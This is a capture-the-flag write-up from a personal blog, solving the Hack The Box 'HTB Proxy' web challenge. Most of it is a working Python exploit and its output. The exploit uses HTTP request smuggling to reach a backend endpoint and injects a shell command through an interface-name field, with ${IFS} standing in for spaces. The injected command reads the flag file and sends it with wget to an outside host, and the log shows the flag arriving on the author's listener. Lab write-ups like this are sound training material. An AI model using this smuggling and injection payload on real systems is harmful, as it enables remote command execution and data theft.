Pierre Gaulon

Pierre Gaulon Github pages

View on GitHub

[Web - medium] HTB Proxy

We are presented with a web application that contains:

The end goal is to run an arbitrary command that will send back the content of the random flag file created at the root of the container. Analysing the NodeJS application, it makes use of the ip-wrapper library, which runs dangerous exec when flushing interface, the interface being a parameter of a shell command.

The backend app validates the interface name given as input if:

The proxy also filters few things:

The first thing to bypass being the local domain name, we leverage the /server-status endpoint

$ curl 94.237.50.128:43240/server-status
Hostname: ng-team-54932-webhtbproxybiz2024-vnkh8-6b45d85bd9-xz55m, Operating System: linux, Architecture: amd64, CPU Count: 4, Go Version: go1.21.10, IPs: 192.168.41.159

This gives access to the backend without using an IP within 127.0.0.1. We also need a domain for it, hence I created

$ dig +short htb1.gaulon.org
192.168.41.159

For the request smuggling to bypass the different checks of the proxy, I created a python script. It uses the DNS record created earlier to bypass the Host header check. The final payload makes use of ${IFS} to use the Internal Field Separator instead of spaces which would be rejected. Finally the script smuggles a POST /flushInterface sending a JSON payload giving a shell command as interface name, within a POST /getAddresses

import socket

private_host = "htb1.gaulon.org:5000"
# resolves in same IP as
# $ curl 94.237.50.128:43240/server-status
# Hostname: ng-team-54932-webhtbproxybiz2024-vx9em-7fcb98754-pztzj, Operating System: linux, Architecture: amd64, CPU Count: 4, Go Version: go1.21.10, IPs: 192.168.41.159

payload = '{"interface":"lo;wget${IFS}http://1.2.3.4:4444/$(cat${IFS}/flag*.txt)"}'

smuggled = "POST /flushInterface HTTP/1.1\r\n"
smuggled += "Host: 127.0.0.1\r\n"
smuggled += "Content-Type: application/json\r\n"
smuggled += "Content-Length: {}\r\n\r\n{}".format(len(payload), payload)

smuggler = "POST /getAddresses HTTP/1.1\r\n"
smuggler += "Host: {}\r\n".format(private_host)
smuggler += "Content-Type: application/x-www-form-urlencoded\r\n"
smuggler += "Content-Length: {}\r\n\r\n{}".format(1, "a")
smuggler += "\r\n\r\n{}".format(smuggled)

print("SEND:")
print(smuggler)
msg = smuggler.encode("ascii")
print("RAW:")
print(msg)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('94.237.50.128', 43240))
    s.sendall(msg)
    response = s.recv(1024).decode("ascii")
    print("RECEIVED:")
    print(response)
    response = s.recv(1024).decode("ascii")
    print("RECEIVED:")
    print(response)

The payload starts a subshell to cat the content of a file and sends it to a remote server via wget. Running the script gives

$ python exploit.py
SEND:
POST /getAddresses HTTP/1.1
Host: htb1.gaulon.org:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 1

a

POST /flushInterface HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Content-Length: 71

{"interface":"lo;wget${IFS}http://1.2.3.4:4444/$(cat${IFS}/flag*.txt)"}
RAW:
b'POST /getAddresses HTTP/1.1\r\nHost: htb1.gaulon.org:5000\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 1\r\n\r\na\r\n\r\nPOST /flushInterface HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: 71\r\n\r\n{"interface":"lo;wget${IFS}http://1.2.3.4:4444/$(cat${IFS}/flag*.txt)"}'
RECEIVED:
HTTP/1.1 401 Unauthorized
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 37
ETag: W/"25-+Jf7C2mDx/nvPFRCWncafprqHNs"
Date: Sun, 19 May 2024 16:00:42 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"message":"Error getting addresses"}HTTP/1.1 401 Unauthorized
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 38
ETag: W/"26-1CQv+OK4Js7XnYldCbe/Ju97dzY"
Date: Sun, 19 May 2024 16:00:43 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"message":"Error flushing interface"}

RECEIVED:

And we receive the flag on the remote server

pi@raspberrypi:/tmp/lol $ python -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
94.237.50.128 - - [19/May/2024 17:00:43] "GET /HTB{r3inv3nting_th3_wh331_c4n_cr34t3_h34dach35_998ac1dad32dab818b49b4e9e1050b25} HTTP/1.1" 404 -